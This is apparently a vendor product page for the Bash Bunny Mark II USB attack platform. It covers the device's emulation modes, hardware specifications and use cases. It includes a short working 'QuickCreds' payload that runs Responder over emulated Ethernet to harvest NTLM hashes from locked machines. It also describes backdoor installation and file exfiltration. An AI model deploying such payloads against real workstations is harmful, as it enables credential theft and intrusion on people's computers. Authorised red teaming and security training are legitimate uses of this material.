🐰

Bash Bunny

Mark II — USB Attack Platform

The world's most advanced USB attack platform. Simultaneously emulate trusted USB devices to deploy multi-vector payloads — from plug to pwn in 7 seconds.

MULTI-VECTOR USB QUAD-CORE ARM DUCKYSCRIPT™ LINUX BLUETOOTH MICROSD
// Overview
From Plug to Pwn in 7 Seconds

Computers inherently trust USB devices — keyboards, network adapters, flash drives, serial ports. The Bash Bunny exploits this trust by emulating combinations of these devices simultaneously, tricking targets into divulging data, exfiltrating documents, and installing backdoors. Under the hood it's a full-featured Linux computer with a quad-core CPU and desktop-class SSD. Flick the payload switch, plug it in, and when the LED turns green — the machine is compromised.

// Attack Modes
Multi-Vector USB Emulation

The Bash Bunny can emulate any of these trusted USB device types — alone or in powerful combinations.

⌨️
HID
Keystroke injection via trusted keyboard emulation
🌐
ETHERNET
2 Gbit adapter with DHCP — auto-trusted as primary network
💾
STORAGE
Mass storage for exfiltration, binary injection & staged payloads
🔌
SERIAL
Dedicated serial console for root terminal access
Valid Combinations
HID + STORAGE Inject keystrokes and drop or exfiltrate files simultaneously
HID + ETHERNET Keystroke injection with full network stack for C2 callbacks
ETHERNET + STORAGE Network hijacking combined with mass data exfiltration
ECM + RNDIS Cross-platform Ethernet — Linux/Mac (ECM) & Windows (RNDIS)
// Hardware Specs
Specifications
⚙️
Processor
Quad-core ARM CPU
Boots in under 7 seconds
💾
Storage
Desktop-class SSD (internal)
MicroSD expansion slot
🧠
Memory
512 MB RAM (doubled from Mark I)
🔵
Bluetooth
Remote triggers & geofencing
Smartphone app control
🎛️
Controls
3-position payload switch
RGB LED status indicator
🐧
Operating System
Full Debian Linux
Root shell via serial console
🔗
Interface
USB-A male connector
Standard flash drive form factor
📶
Network
2 Gbit emulated Ethernet
ECM + RNDIS cross-platform
// Workflow
Plug → Switch → Pwn
STEP 01
📝
Write Payload
DuckyScript text files — use Payload Studio or any editor
STEP 02
📂
Load
Copy payload to Bash Bunny in arming mode — like a flash drive
STEP 03
🔀
Select
Flick the physical switch to assign payload position
STEP 04
🟢
Deploy
Plug in — green LED means mission complete
// Capabilities
Key Features
▸
Multi-Vector Attacks — Combine HID, Ethernet, and storage emulation in a single payload. Exploit multiple trust vectors simultaneously.
▸
QuickCreds — Instantly harvest credentials by posing as the target's primary network adapter with an authoritative DHCP server.
▸
Wireless Geofencing — Prevent payloads from executing outside a designated geographic zone. Destroy loot if the device leaves the area.
▸
Remote Bluetooth Triggers — Activate payloads, trigger macros, and initiate exfiltration remotely via smartphone app or any BT device.
▸
Cross-Platform — Works on Windows, macOS, Linux, and Android. ECM and RNDIS Ethernet ensures universal compatibility.
▸
Community Payloads — Central git repository with a growing library of attacks. Download, customize, and deploy — or submit your own.
▸
MicroSD Exfiltration — Expandable storage for capturing gigabytes of loot. High-speed data transfer during active engagements.
▸
Payload Studio — Full-featured web-based IDE with syntax highlighting, auto-complete, live error checking, and repo sync.
// Payload Example
QuickCreds — Credential Harvesting

Emulate a trusted Ethernet adapter, hijack network traffic, and harvest credentials in seconds — all while the target PC remains locked.

# QuickCreds — Bash Bunny Payload
# Harvests NTLM hashes via network hijack

ATTACKMODE RNDIS_ETHERNET

# Wait for network to be recognized
LED SETUP
REQUIRETOOL responder

# Launch Responder to capture hashes
LED ATTACK
RUN responder -I usb0 -wrFb

# Wait for credentials
WAIT_FOR_LOOT 60

# Cleanup and signal completion
LED FINISH
// Use Cases
Deployment Scenarios
🔓
Credential Harvesting
QuickCreds grabs NTLM hashes from locked workstations in seconds via Responder and network hijacking.
🎯
Physical Red Team
Social engineer your way in, plug the Bunny into an unattended workstation, and exfiltrate documents before anyone notices.
🚪
Backdoor Installation
Combine HID and storage modes to inject and execute persistence payloads without user interaction.
📤
Data Exfiltration
Silently copy target files to MicroSD storage while masquerading as a standard USB device.
🤖
IT Automation
Automate repetitive admin tasks — software deployment, configuration changes, inventory scripts — with a single plug-in.
🎓
Security Training
Demonstrate USB attack vectors in controlled environments. Show why USB policies and endpoint protection matter.